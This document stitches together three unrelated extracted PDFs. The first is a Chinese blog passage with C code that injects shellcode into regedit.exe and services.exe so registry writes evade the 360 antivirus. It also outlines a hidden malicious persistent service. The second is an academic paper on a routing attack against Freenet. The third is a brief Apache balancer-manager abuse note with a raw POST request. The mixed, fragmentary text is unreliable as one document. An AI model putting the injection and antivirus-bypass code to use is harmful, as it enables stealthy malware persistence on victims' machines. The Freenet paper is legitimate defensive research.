sizeof(PROCESSENTRY32); // get first process if (Process32First(hSnap, &pe32)) { do { /*if (dwpid == pe32.th32processid) { lstrcpyn(imagename, pe32.szexefile, dwsize); bfound = true; break; }*/ wprintf(L"\t[*] %s\n",pe32.szExeFile ); if (!lstrcmpW(ImageName, pe32.szExeFile)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(hSnap, &pe32)); } CloseHandle(hSnap); return pid; } BOOL injection(DWORD pid) { LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; //把基地址设置为自己shellcode数组的起始地址 lpMalwareBaseAddr = hexData;    wprintf(L"[*] inject process: %d\r\n", pid); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); lpnewVictimBaseAddr = VirtualAllocEx(process , NULL, sizeof(hexData) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) {   printf("[*] VirtualAllocEx error: %d\n",GetLastError()); return bRet; } //远程线程注入过程 WriteProcessMemory(process, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(hexData) + 1, NULL); hThread = CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); //WaitForSingleObject(pi.hThread, INFINITE); //GetExitCodeProcess(pi.hProcess, &dwExitCode); //TerminateProcess(pi.hProcess, 0); return bRet; } 这是x86下的shellcode,注意要编译为32位,然后手动启动一个32位的regedit.exe,然后运行上面的注 入程序,注意要有用administrator权限权限,或者关闭本地的uac。 发现360并未拦截,可以成功的写入注册表键值,这也就验证我们的猜想是完全正确的。 第二个问题:(行为的发出者) 当我们使用API进行服务注册的时候,写注册表的键值的行为并不是由我们的程序发起的,而是系统的 SCM发出的,具体的进程是 services.exe ,可以运行一下我们的程序来验证一下,运行之前写的程序, 监控一下注册表操作: void help(char* proc) { // printf("%s:创建进程并将shellcode写入进程内存\r\n", proc); } //获取函数名的hash DWORD GetProcHash(const char* lpProcName) { char* p = (char *)lpProcName; DWORD result = 0; do { result = (result << 7) - result; result += *p; } while (*p++); return result; } int main(int argc, char* argv[]) { //help(argv[0]); //injection(); WCHAR name[] = L"regedit.exe"; DWORD targetPid = GetProcessImageName(name,lstrlenW(name)); wprintf(L"[-] target pid = %d\n", targetPid); injection(targetPid); return 0; } 这非常清楚了,注册表操作时 services.exe 发出的,跟我们的程序一点关系都没有。 前面我们讲解过端上主防软件的工作原理,它并无法得知我们的程序正在调用SCM的RPC服务进行服务 注册行为,只能看到services.exe在操作注册表,他无法把这个行为和我们运行的程序产生关联,所以 无法kill我们的程序,同时services.exe就是系统服务进程,拦截它的操作存在非常大的系统风险,所以 端防护软件不得不选择进行放行,这就是我们这种方法可以绕过360注册系统服务的根本原因。 共享进程服务 经过上面的分析,我们基本上达到了绕过端防护软件,在系统中随意注册独立进程服务了的目的,但是 我们不能仅仅满足于此。因为共享进程服务相对于独立进程服务在行为上要隐蔽的多,我们还是想在系 统中注册共享进程服务 但是共享进程服务在注册的时候,必须要服务注册进程进行注册表操作,写入 Parameters\ServiceDll 键值,我查遍了SCM的API函数,也没由发现哪个函数可以帮我们干这件事 情。这就比较坑了,我们绕过不过行为防护啊?但是真的绕过不过?我们在上面不是通过shellcode注 入完成了注册表写入了吗? 所以我们最终的恶意服务实现如下: DLL实现服务的核心逻辑和代码,进行恶意行为。 写个EXE程序,并将DLL作为资源或者数据隐藏在自身内部,然后写代码实现注册共享进程服务的 功能。 实现shellcode,操作注册表实现服务关键键值的写入 exe执行时,先释放dll,然后向SCM注册服务。 将shellcode注入到 services.exe 等白进程中,实现注册表的添加。 启动服务,实现持久话控制。 由于代码比较长,包含若干个项目,并且具备一定的危害性,所以就不能在这里贴了。需要的可以联系 我。 最后以我看到的一个好玩的车牌号结束本节内容吧。
pdf
Routing in the Dark: Pitch Black Anonymous Abstract. In many networks, such as mobile ad-hoc networks and friend- to-friend overlay networks (darknets), direct communication between nodes is limited to specific neighbors. Often these networks have a small- world topology; while short paths exist between any pair of nodes in small-world networks, it is non-trivial to determine such paths with a distributed algorithm. Recently, Clarke and Sandberg proposed the first decentralized routing algorithm that achieves efficient routing in such small-world networks. This paper is the first independent security analysis of Clarke and Sand- berg’s routing algorithm. We show that a relatively weak participating adversary can render the overlay ineffective without being detected, re- sulting in significant data loss due to the resulting load imbalance. We have measured the impact of the attack in a testbed of 800 nodes using minor modifications to Clarke and Sandberg’s implementation of their routing algorithm in Freenet. Our experiments show that the attack is highly effective, allowing a small number of malicious nodes to cause rapid loss of data on the entire network. We also discuss various proposed countermeasures designed to detect, thwart or limit the attack. While we were unable to find effective counter- measures, we hope that the presented analysis will be a first step towards the design of secure distributed routing algorithms for restricted-route topologies. 1 Introduction Fully decentralized and efficient routing algorithms for restricted route networks promise to solve crucial problems for a wide variety of networking applications. Efficient decentralized routing is important for sensor and general wireless net- works, peer-to-peer overlay networks and theoretically even next generation In- ternet (IP) routing. A number of distributed peer-to-peer routing protocols de- veloped in recent years achieve scalable and efficient routing by constructing a structured overlay topology [4,5,8,11,15]. However, all of these designs are un- able to work in real-world networks with restricted routes. In a restricted route topology, nodes can only directly communicate with a subset of other nodes in the network. Such restrictions arise from a variety of sources, such as physical limitations of the communications infrastructure (wireless signals, physical net- work topology), policies (firewalls) or limitations of underlying protocols (NAT, IPv6-IPv4 interaction). Recently, a new routing algorithm for restricted route topologies was pro- posed [13] and implemented in version 0.7 of Freenet, an anonymous peer-to-peer file-sharing network [3]. The proposed algorithm achieves routing in expected 2 Anonymous O(log n) hops for small-world networks with n nodes by having nodes swap loca- tions in the overlay under certain conditions. This significant achievement raises the question of whether the algorithm is robust enough to become the foundation for the large domain of routing in restricted route networks. The research presented in this paper shows that any participating node can severely degrade the performance of the routing algorithm by changing the way it participates in the location swapping aspect of the protocol. Most of the guards in the existing routing implementation are ineffective or severely limited and in particular fail to reliably detect the malicious nodes. Experiments using a Freenet testbed show that a small fraction of malicious nodes can dramatically degenerate routing performance and cause massive content loss in a short period of time. Our research also illuminates why churn impacts the structure of the overlay negatively, a phenomenon that was observed by Freenet users in practice but has, to the best of our knowledge, never been explained. The paper is structured as follows. Section 2 describes related work focus- ing on distributed hash tables for networks without restricted-route topologies and gives details about small-world networks, a particularly common form of a restricted-route topology. Section 3 details Freenet’s distributed darknet rout- ing algorithm for small-world networks. The proposed attack is described in Section 4, followed by experimental results showing the effects of the attack in Section 5. Possible defenses and their limitations are discussed in Section 6. 2 Related Work 2.1 Distributed hash tables A distributed hash table is a data structure that enables efficient key-based lookup of data in a peer-to-peer overlay network. Generally, the participating peers maintain connections to a relatively small subset of the other participants in the overlay. Each peer is responsible for storing a subset of the key-value pairs and for routing requests to other peers. In other words, a key property of DHTs in a peer-to-peer setting is the need to route queries in a network over multiple hops based on limited knowledge about which peers exist in the overlay network. Part of the DHT protocol definition is thus concerned with maintaining the structure of the network as peers join or leave the overlay. DHT designs can be characterized using the performance metrics given in Table 1. Routing in DHTs is generally done in a greedy fashion and resembles lookups in skip lists [10]. Table 2 summarizes the key properties of various ex- isting DHT designs. The table does not capture properties which are hard to quantify, such as fault-tolerance. Most existing DHT designs achieve near per- fect load balancing between peers. Hosts that can provide significantly more resources than others are usually accommodated by associating multiple loca- tions in the overlay with a single host. In some sense, those hosts are counted as multiple peers. A major limitation of the DHT designs listed in Table 2 is that they do not support routing in restricted route topologies. These DHTs assume that it Routing in the Dark: Pitch Black 3 (1) Messages required for each key lookup (2) Messages required for each store operation (3) Messages needed to integrate a new peer (4) Messages needed to manage a peer leaving (5) Number of connections maintained per peer (6) Topology can be adjusted to minimize per-hop latency (yes/no) (7) Connections are symmetric or asymmetric Table 1. Performance metrics for DHTs. Chord [15] Pastry [12] Kademlia [8] CAN [11] RSG [5] (1) O(log n) O(log n) O(log n) O(n−d) O(log n) (2) O(log n) O(log n) O(log n) O(n−d) O(log n) (3) O(log2 n) O(log n) O(log n) O(d + n−d) O(log n) (4) O(log2 n) O(1) O(1) O(d) O(log n) (5) O(log n) O(log n) O(log n) O(d) O(1) (6) no yes yes yes no (7) asymmetric asymmetric symmetric symmetric asymmetric Table 2. Comparison of DHT designs. The numbers refer to the list of perfor- mance metrics given in Table 1. The value d is a system parameter for CAN. is generally possible for any peer to connect to any other peer. However, fire- walls and network address translation (NAT) make this assumption unrealistic over the current Internet where large-scale studies have shown that over 70% of machines are NATed [1]. In contrast to the DHT designs from Table 2, the Freenet routing algorithm achieves expected O(log n) routing in restricted route topologies under the as- sumption that the restricted network topology has small-world properties. 2.2 Small-world networks A small-world network is informally defined as a network where the average shortest path between any two nodes is “small” compared to the size of the network, where “small” is generally considered to mean at least logarithmic in relation to the size of the network. Small world networks occur frequently in the real world [16], the most prominent example being social networks [9]. Watts and Strogatz [16] characterized small-world networks as an interme- diate stage between completely structured networks and random networks. Ac- cording to their definition, small world networks with n nodes have on average k edges per vertex where n >> k >> log n. They define a clustering coefficient which captures the amount of structure (clustering) in a given network. Small- world networks are then networks with a clustering coefficient significantly larger than the coefficients of completely random networks and with average shortest 4 Anonymous path lengths close to those for of completely random networks. Watts and Stro- gatz’s work explains why short paths exist in real-world networks. Kleinberg [6,7] generalized Watts and Strogatz’ construction of small-world networks and gave sufficient and necessary conditions for the existence of efficient distributed routing algorithms for these constructions. Kleinberg’s model for distributed routing algorithms does not include the possibility of nodes swapping locations, which is a fundamental part of Freenet’s “Darknet” routing algorithm. 3 Freenet’s “Darknet” routing algorithm Freenet [3] is a peer-to-peer network where the operator of each node specifies which other peers are allowed to connect to the node [2]. The main reason for this is to obscure the participation of a node in the network – each node is only directly visible to the friends of its’ operator. Peer-to-peer networks that limit connections to friend-to-friend interactions are often called darknets. Given that social networks are small-world networks and that small-world networks arise easily given a certain amount of “randomness” in the graph construction, it is realistic to assume that Freenet’s darknet is a small-world network. The routing restrictions imposed on the Freenet overlay could technically model arbitrary network limitations; consequently, an efficient distributed routing algorithm for such a topology should easily generalize to any small-world network. 3.1 Network creation The graph of the Freenet network consists of vertices, which are peers, and edges, which are created by friend relationships. An edge only exists between peers if both operators have agreed to the connection a priori. Freenet assumes that a sufficient number of edges (or friend relationships) between peers will exist so that the network will be connected. Each Freenet node is created with a unique, immutable identifier and a ran- domly generated initial location. The identifier is used by operators to specify which connections are allowed while the location is used for routing. The loca- tion space has a range of [0, 1) and is cyclic with 0 and 1 being the same point. For example, the distance between nodes at locations 0.1 and 0.9 is 0.2. Data stored in the Freenet network is associated with a specific key from the range of the location space. The routing algorithm transmits get and put requests from node A to the neighbors of A starting with the neighbor with the closest location to the key. 3.2 Operational overview The basic strategy of the routing algorithm is to greedily forward a request to the neighbor whose location is closest to the key. However, the simple greedy forwarding is not guaranteed to find the closest peer – initially, the location of each peer is completely random and connections between peers are restricted Routing in the Dark: Pitch Black 5 (since a peer is only allowed to establish connections the operator explicitly designated as allowed). Consequently, the basic greedy algorithm is extended to a depth-first search of the topology (with bounded depth) where the order of the traversal is determined by the distance of the nodes to the key [14]. Figure 1 shows the routing algorithm for the get operation in pseudocode. For put operations, Freenet creates a copy of the content in the local data- store of every node on the path from the initiator to the peer with the closest location with respect to the key as found by greedy routing. The put algorithm is detailed in Figure 2. 1. Check that new get request is not identical with recently processed request; if the request is a duplicate, notify sender about duplication status, otherwise continue. 2. Check local data store for data; if data is found, send response to sender, otherwise continue. 3. If hops-to-live of request is zero, respond with data not found, otherwise continue. 4. Find closest neighbor (in terms of peer location) with respect to the key of the get request, excluding those routed to already. Forward the request to the closest peer with (probabilistically) decremented hops-to-live counter. If valid content is found, forward content to sender, otherwise, repeat step 4. Fig. 1. Pseudocode for routing of a get request. 1. Check that new put request is not identical to a recently processed request; if the request is a duplicate, notify sender about duplication status, otherwise continue. 2. Insert the data into the local datastore. 3. Find closest neighbor location to key, if the closest location is the location of the current node, then reset hops-to-live to the maximum hops-to-live and forward the put request to all neighbors. 4. If hops-to-live is zero, signal success to sender, otherwise forward the request to the nearest peer. Fig. 2. Pseudocode for routing of a put request. 3.3 Location swapping To make the routing algorithm find the data faster, Freenet attempts to cluster nodes with similar locations. The network achieves this by having nodes swap their locations under certain conditions: 1. Let L(n) be the current location of node n. 6 Anonymous 2. A node A randomly chooses a neighboring node B and initiates a swap request. Both nodes exchange the locations of their respective neighbors and calculate D1(A, B), the product of the products of the differences of the locations of them to their neighbors’: D1(A, B) = (A,n)∈E |L(A) − L(n)| · (B,n)∈E |L(B) − L(n)| (1) 3. The nodes also compute D2(A, B), the product of the products of the dif- ferences of the locations of them to their neighbors’ after a potential swap: D2(A, B) = (A,n)∈E |L(B) − L(n)| · (B,n)∈E |L(A) − L(n)| (2) 4. If the nodes find that D2(A, B) ≤ D1(A, B), they swap locations, otherwise they swap locations with probability D1(A,B) D2(A,B).1 As a result of this swapping of locations the overlay becomes semi-structured; the routing algorithm’s depth first search can utilize this structure in order to find short paths with high probability. Sandberg’s thesis [13] shows that the Freenet routing algorithm converges towards routing in O(log n) steps (with high probability) under the assumption that the set of legal connections specified by the node operators forms a small-world network. This is a significant result because it describes the first fully decentralized distributed hash table (DHT) design that achieves O(log n) routing with (severely) restricted routes. Most other DHT designs make the unrealistic assumption that every node is able to directly communicate with every other node [5,8,12,15]. 3.4 Content Storage Each Freenet node stores content in a datastore of bounded size. Freenet uses a least-recently-used content replacement policy, removing the least-recently-used content when necessary to keep the size of the datastore below the user-specified limit. Our simulation of routing in the Freenet network places the content at the node whose location is closest to the key and does not allow caching or replication of content. The reason for this is that our study focuses on routing performance and not on content replication and caching strategies. 3.5 Example Figure 3 shows a small example network. Each node is labeled with its location (Ln ∈ [0, 1)) in the network. The bi-directional edges indicate the direct con- nections between nodes. In a friend-to-friend network, these are the connections 1 Note that the Freenet implementation fails to use a secure multiparty computation for this probabilistic step and that the nodes perform the swap based on either node requesting to swap. This is an implementation limitation and not a fundamental issue with the proposed routing algorithm. Routing in the Dark: Pitch Black 7 that were specifically allowed by the individual node operators. Furthermore, each node is only aware of its immediate neighbors. Similarly, in an ad-hoc wire- less network, the edges would indicate which nodes are physically able to directly communicate with which other nodes. While our example network lacks cycles, any connected graph is allowed; the small-world property is only required to achieve O(log n) routing performance, the algorithm itself works for any con- nected graph. 0.60 0.10 .50 0.90 Swap? 0.30 .60 0.45 0.85 0.40 .25 0.25 .65 Fig. 3. This figure shows an example network with two nodes considering a swap. The result of the swap equation is D1 = .60 * .65 * .25 * .50 = .04875 and D2 = .30 * .35 * .05 * .80 = .0042. Since D1 > D2, they swap. 0.90 0.10 0.80 0.60 0.30 0.30 0.45 0.85 0.40 0.05 0.25 0.35 Fig. 4. This figure shows the resulting example network after the swap has occurred. The network illustrated in Figure 3 happens to have an assignment of loca- tions that would cause the nodes with locations 0.60 and 0.90 to perform a swap in order to minimize the distance product from Equation (1). Figure 4 shows the new assignment of locations after the swap. Note that after a swap each node retains exactly the same set of connections; the only change is in the location identifiers of the nodes. This change in node locations impacts the order of the traversal during routing. Figure 5 shows how a GET request would be routed after the swap. Starting at the node with location 0.90 and targeting the key 0.23 the node picks its closest neighbor (with respect to the key), which is 0.10. However, 0.10 does not have the content and also lacks other neighbors to try and thus responds with 8 Anonymous 0.90 0.10 0.60 0.30 0.25 Found! 0.45 0.85 0.40 Fig. 5. Illustrates the path of a GET request looking for data with a hash value of .23 which is stored at the node identified by the location 0.25. The GET request is initiated from node with location 0.90. The path that the GET request travels is displayed as the dotted lines which travel from 0.90 → 0.10 → 0.90 → 0.60 → 0.25 where the data is found. content not found. Then 0.90 attempts its’ second-closest neighbor, 0.60. Again, 0.60 does not have the content, but it has other neighbors. The 0.25 neighbor is closest to 0.23. The content is found at that node and returned via 0.60 (the restricted-route topology does not allow 0.25 to send the result directly back to 0.90). Finally, Figure 6 illustrates how Freenet routes a PUT request. The algorithm again attempts to find the node with the closest location in a greedy fashion. Once a node C is found where all neighbors are further away from the node, the algorithm essentially re-starts the PUT with all neighbors of that node. Usually, these neighbors of C do not have other neighbors that would be closer to the key and thus directly route back to C, which ends the process since C has seen the request already. 0.90 0.10 0.60 0.30 0.45 0.85 0.40 0.25 0.90 0.10 0.60 0.85 0.30 0.45 0.40 0.25 Fig. 6. The graph on the left illustrates the path of a PUT request inserting data with a hash value of .96. The request is initiated from node with location 0.25. The path that the PUT request travels is displayed as the dotted lines which travel from 0.25 → 0.60 → 0.90 where the data is stored. The graph on the right shows what happens after a PUT has found a node whose neighbors are all further away from the key. That node resets the hops-to-live of the PUT request to its maximum and then forwards the PUT request to all of its neighbors. Usually, as in this case, these neighbors have no node closer to the key than their predecessor and the PUT routing ends. Routing in the Dark: Pitch Black 9 4 Security Analysis The routing algorithm works under the assumption that the distribution of the keys and peer locations is random. In that case, the load is balanced, in particular all nodes are expected to store roughly the same amount of content and all nodes are expected to receive roughly equivalent numbers of requests. The basic idea behind the attack is to de-randomize the distribution of the node locations. The attacker tries to cluster the locations around a particular small set of values. Since the distribution of the keys is still random and inde- pendent of the distribution of the node locations, clustering of node locations around particular values results in an uneven load distribution. Nodes within the clusters are responsible for less content (because many other nodes are also close to the same set of keys), whereas the load for nodes outside of the clusters is disproportionately high. We will now detail two scenarios which destroy the initial random distribution of node locations resulting in clustering of locations around particular values. The first scenario uses attack nodes inside of the network. This attack quickly unbalances the load in the network, causing significant data loss; the reason for the data loss is that the imbalance causes some nodes to greatly exceed their storage capacity whereas other nodes store nothing. The other scenario illustrates how location imbalance can occur naturally even without an adversary due to churn. 4.1 Active Attack As described in Section 3.3, a Freenet node attempts to swap with random peers periodically. Suppose that an attacker wants to bias the location distribution towards a particular location. In order to facilitate the attack, the attacker as- sumes that particular location. This malicious behavior cannot be detected by the nodes neighbors because the attacker can claim to have obtained this loca- tion from swapping. A neighbor cannot verify whether or not such a swap has occurred because the friend-to-friend (F2F) topology restricts communication to immediate neighbors. The node then creates swap requests in accordance with the Freenet proto- col. The only difference is that when the neighbor involved in the swap asks for the locations of the attacker’s other neighbors, the attacker responds with lo- cations that are favorable towards swapping. Again, the F2F topology prevents the neighbor involved in the swap from checking the validity of this informa- tion. After the swap, the attack node again assumes the original location chosen and continues to try to swap with its other neighbors whose locations are still random. The neighbors that have swapped with an attacker then continue to swap in accordance with the swapping algorithm, possibly spreading the malicious locations. Once the location has been spread, the adversary subjects another neighbor to a swap, removing yet another random location from the network. The likelihood of neighbors spreading the malicious location by swapping can be 10 Anonymous improved by using multiple attack locations. Using a higher number of malicious locations increases the rate of the penetration of the network. There is a tradeoff between the speed of penetration and the impact of the attack in terms of causing load imbalances. 4.2 Natural Churn Network churn, the joining and leaving of nodes in the network, is a crucial issue that any peer-to-peer routing protocol needs to address. We have ignored churn until now because the attack described in the previous section does not require it. Intuition may suggest that natural churn may help the network against the attack by supplying a constant influx of fresh, truly random locations. This section illustrates that the opposite is the case: natural churn can strengthen the attack and even degenerate the Freenet network in the same manner without the presence of malicious nodes. For the purpose of this discussion, we need to distinguish two types of churn. The first kind, leave-join churn, describes fluctuations in peer availability due to a peer leaving the nextwork for a while and then joining again. In this case, the network has to cope with temporary loss of availability in terms connectivity and access to content stored at the node. Freenet’s use of content replication and its routing algorithm are well-suited to handle this type of churn. Most importantly, a node leaving does not immediately trigger significant changes at any other node. As a result, an adversary cannot use leave-join churn to disrupt network operations. Since honest Freenet peers re-join with the same location that they last had when they left the network, leave-join churn does not impact the overall distribution of locations in the network. The second kind, join-leave churn, describes peers who join the network and then leave for good. In this case, the network has to cope with the permanent loss of data stored at this peer. In the absence of adversaries, join-leave churn may be less common in peer-to-peer networks; however, it is always possible for users to discontinue using a particular application. Also, often users may just test an application once and decide that it does not meet their needs. Again, we believe that Freenet’s content replication is likely sufficient to avoid significant loss of content due to realistic amounts of join-leave churn. However, natural join-leave churn has another, rather unexpected impact on the distribution of locations in the Freenet overlay. This additional impact re- quires that the overlay has a stable core of peers that are highly available and strongly interconnected, which is a common phenomeonon in most peer-to-peer networks. In contrast to this set of stable core-peers, peers that contribute to join-leave churn are likely to participate only briefly and have relatively few connections. Suppose the locations γi of the core-peers are initially biased to- wards (or clustered around) a location α ∈ [0, 1). Furthermore, suppose that (over time) thousands of peers with few connections (located at the fringe of the network) contribute to join-leave churn. Each of these fringe-peers will initially assign itself a random location β ∈ [0, 1). In some cases, this random choice β will be closer to α than some of the Routing in the Dark: Pitch Black 11 γi-locations of the core nodes. In that case, the routing algorithm is likely to swap locations between these fringe-peers and core-peers in order to reduce the overall distances to neighbors (as calculated according to Equation (1)). Peers in the core have neighbors close to α, so exchanging one of the γi’s for β will reduce their overall distances. The fringe peers are likely to have few connections to the core group and thus the overall product after a swap is likely to decrease. Consequently, non-adversarial join-leave churn strengthens any existing bias in the distribution of locations among the long-lived peers. The long-term results of join-leave churn are equivalent to what the attack from Section 4.1 is able to produce quickly – most peers end up with locations clustering around a few values. Note that this phenomenon has been observed by Freenet users and was reported to the Freenet developers – who so far have failed to explain the cause of this degeneration.2 Since both the attack and natural churn have essentially the same implications for the routing algorithm, the performance implications established by our experimental results (Section 5) hold for both scenarios. 5 Experimental Results This section presents experimental results obtained from a Freenet testbed with up to 800 active nodes. The testbed, consisting of up to 18 GNU/Linux machines, runs the actual Freenet 0.7 code. The nodes are connected to form a small- world topology (using Kleinberg’s 2d-grid model [6]) with on average O(log2 n) connections per node. Each experiment consists of a number of iterations. In each iteration, nodes are given a fixed amount of time to swap locations. Then the performance of the network is evaluated. The main performance metrics are the average path length needed to find the node that is responsible for a particular key, and the percentage of the content originally available in the network that can still be retrieved. All nodes are configured with the same amount of storage space. Before each experiment, the network is seeded with content with a random key distribution. The amount of content is fixed at a quarter of the storage capacity of the entire network. The content is always (initially and after each iteration) placed at the node with the closest location to the key. Nodes discard content if they do not have sufficient space. Discarded content is lost for the duration of the experiment. Depending on the goals of the experiment, certain nodes are switched into attack mode starting at a particular iteration. The attacking nodes are randomly chosen, and behave exactly as all of the other nodes, except for aggressively propagating malicious node locations when swapping. 2 https://bugs.freenetproject.org/view.php?id=647, April 2007. We suspect that the clustering around 0.0 is caused by software bugs, resulting in an initial bias for this particular value, which is then strengthened by churn. 12 Anonymous 5.1 Distribution of Node Locations Figure 7 illustrates the distribution of node locations on a circle before and after an attack. The initial distribution on the left side consists of 800 randomly chosen locations, which are largely evenly distributed over the entire interval. The distribution on the right side shows the distribution after eight nodes began an attack on the network in an attempt to create eight clusters. Note that the number of attackers and the number of cluster locations can be chosen independently. Both plots use thicker dots in order to highlight spots where many peers are in close proximity. Particularly after the attack peers often have locations that are so close to each other (at the order of 2−30) that a simple plot of the individual locations would just show a single dot. Thicker dots illustrate the number of peers in close proximity, the spread of their locations is actually much smaller than the thickness may suggest. Fig. 7. Plot of node locations before and after attack. 5.2 Availability of Content Figures 8, 9 and 10 show the data loss in a simulated Freenet network with 800 nodes and two, four and eight attackers respectively. The attackers attempt to use swapping in order to cluster the locations of nodes in the network around eight pre-determined values. The resulting clustering of many nodes around par- ticular locations causes the remaining nodes to be responsible for disproportion- ately large areas in the key space. If this content assignment requires a particular node to store more content than the node has space available for, content is lost. The attack is initiated after 75 iterations of ordinary network operation. After just 200 rounds (corresponding to a roughly 5 hours of actual execution time) the network has lost on average between 15% and 60% of its content, depending on the number of attackers. Note that in our model, an individual attacker is granted precisely the same resources as any ordinary user. The figures show the average data loss (and standard deviations) over five runs. For each run, the positions of the attackers were chosen randomly among the 800 nodes. Routing in the Dark: Pitch Black 13 0 20 40 60 80 100 0 50 100 150 200 % data loss Time Average Loss over with Std. Dev. Fig. 8. Graph showing average data loss over 5 runs with 800 total nodes and 2 attack nodes using 8 bad locations with the attack starting after about 2h. 0 20 40 60 80 100 0 50 100 150 200 % data loss Time Average Loss over time with Std. Dev. Fig. 9. Graph showing average data loss over 5 runs with 800 total nodes and 4 attack nodes using 8 bad locations with the attack starting after about 2h. 0 20 40 60 80 100 0 50 100 150 200 % data loss Time Average Loss over time with Std. Dev. Fig. 10. Graph showing average data loss over 5 runs with 800 total nodes and 8 attack nodes using 8 bad locations with the attack starting after about 2h. 14 Anonymous 6 Discussion Various strategies could be used to limit the impact of the proposed attack, including changing the swapping policy, malicious node detection, and secure multiparty communication. While some of these strategies can reduce the impact of the attack, we do not believe that adopting any of the suggested measures would address the attack in a satisfactory manner. One possibility for reducing the effect of the attack proposed in this paper is to increase the amount of time between attempts to swap, or to have each node in the network periodically reset its location to a random value. The idea is that the malicious node locations would spread more slowly and be eventually discarded. However, while this limits the impact of the attack, this defense also slows and limits the progress of the network converging to the most fortuitous topology. However, the negative impact of churn may be handled by swapping locations only with long lived peers. Recent measurement studies in peer-to-peer networks have shown a power-law distribution of the uptime of peers; a large percentage of peers have a short uptime. By adjusting the probability of location swapping to be proportional to a peer’s uptime, the network may be able to prevent clustering of the locations of long-lived peers due to join-leave churn. Another possible method attempts to detect a malicious node based on know- ing the size of the network. If a Freenet node were able to accurately produce a close estimation of the size of the network, it could detect if an attacker was swapping locations that are significantly closer than what would be likely with a random distribution of locations. The problem with this approach is that in an open F2F network it is difficult to reliably estimate the network’s size. If there were a way for a node which purported to have a certain number of friends to prove that all those friends existed, nodes could be more confident about swapping. The Freenet developers suggested using a secure multiparty computation as a way for a node to prove that it has n connections. The idea would be for the swapping peers to exchange the the results of a computation that could only be performed by their respective neighbors. But because nodes can only directly communicate with their peers (F2F), any such computation could easily be faked given appropriate computational resources. Of course, if a node could directly communicate with another node’s neighbors, then the topology could be discerned. However, in that case the protocol no longer works for restricted-route networks. 7 Conclusion The new Freenet routing algorithm is unable to provide performance guarantees in networks where adversaries are able to participate. The algorithm also de- generates over time (even without active adversaries) if the network experiences churn. The recommended approach to address both problems is to periodically reset the locations of peers. While this limits the deterioration of the routes Routing in the Dark: Pitch Black 15 through adversaries and churn, such resets also sacrifice the potential conver- gence towards highly efficient routes. Secure and efficient routing in restricted route networks remains an open problem. Acknowledgements The authors thank Anonymous for feedback on an earlier draft of the paper. References 1. Martin Casado and Michael J. Freedman. Illuminating the shadows: Opportunistic network and web measurment. http://illuminati.coralcdn.org/stats/, December 2006. 2. Ian Clarke. The freenet project. http://freenetproject.org/, 2007. 3. Ian Clarke, Oskar Sandberg, Brandon Wiley, and Theodore W. Hong. Freenet: A distributed anonymous information storage and retrieval system. In Proc. of the ICSI Workshop on Design Issues in Anonymity and Unobservability. International Computer Science Institute, 2000. 4. Frank Dabek, M. Frans Kaashoek, David Karger, Robert Morris, and Ion Stoica. Wide-area cooperative storage with CFS. In Proceedings of the 18th ACM Sym- posium on Operating Systems Principles (SOSP ’01), Chateau Lake Louise, Banff, Canada, October 2001. 5. Michael T. Goodrich, Michael J. Nelson, and Jonathan Z. Sun. The rainbow skip graph: a fault-tolerant constant-degree distributed data structure. In SODA ’06: Proceedings of the seventeenth annual ACM-SIAM symposium on Discrete algorithm, pages 384–393, New York, NY, USA, 2006. ACM Press. 6. Jon M. Kleinberg. Navigation in a small world. Nature, 406(6798):845–845, August 2000. 7. Jon M. Kleinberg. The small-world phenomenon: an algorithm perspective. In STOC ’00: Proceedings of the thirty-second annual ACM symposium on Theory of computing, pages 163–170, New York, NY, USA, 2000. ACM Press. 8. Petar Maymounkov and David Mazi`eres. Kademlia: A peer-to-peer information system based on the xor metric. In Proceedings of IPTPS02, Cambridge, March 2002. 9. Stanley Milgram. The small-world problem. Psychology Today, pages 60–67, 1967. 10. William Pugh. Skip lists: A probabilistic alternative to balanced trees. In Workshop on Algorithms and Data Structures, pages 437–449, 1989. 11. Sylvia Ratnasamy, Paul Francis, Mark Handley, Richard Karp, and Scott Shenker. A scalable content addressable network. Technical Report TR-00-010, Berkeley, Berkeley, CA, 2000. 12. Antony Rowstron and Peter Druschel. Pastry: Scalable, Decentralized Object Lo- cation, and Routing for Large-Scale Peer-to-Peer Systems. Lecture Notes in Com- puter Science, 2218, 2001. 13. Oskar Sandberg. Searching in a Small World. PhD thesis, University of Gothen- burg and Chalmers Technical University, 2005. 14. Oskar Sandberg. Distributed routing in small-world networks. In ALENEX, 2006. 15. Ion Stoica, Robert Morris, David Karger, M. Frans Kaashoek, and Hari Balakr- ishnan. Chord: A scalable peer-to-peer lookup service for internet applications. In Proceedings of the 2001 conference on applications, technologies, architectures, and protocols for computer communications, pages 149–160. ACM Press, 2001. 16. Duncan Watts and Steve Strogatz. Collective dynamics of ’small-world’ networks. Nature, 393:440–442, 1998.
pdf
mod_proxy_balancermanager 0x00 mod_proxybalanceapache proxy balancer apachebalancermanagerbalancerworker <Location "/balancer-manager"> SetHandler balancer-manager Require host example.com </Location> hostexample.commanagerrequire balancerworkerworkerbalancer 0x01 manageworker managerssrf registerhookap_hook_handler balancer_handler handler balancer_process_balancer_workerbalancerworker url params 1309define_workerworker url workerworker OK b_wyes1b_nwrkrurlget workerdefine workernum_free_slots0 POST /balancer-manager HTTP/1.1 Host: 192.168.50.220:5000 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Sa fari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application /signed-exchange;v=b3;q=0.9 Referer: http://192.168.50.220:5000/balancer-manager?b=mycluster&nonce=ec5268de-fb1b-30ab-a372-a0ea90ea4603 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Content-Length: 117 b=mycluster&w=http://127.0.0.1:9000&nonce=fa5dcdc1-ccf1-d0b6-712c-dc08351f3b6a&b_wyes=1&b_nwrkr=http://127.0.0.1:700 0 num_free_slots0http://127.0.0.1:7000 num_free_slots0 max members3freeadd new workerworker worker 0x02
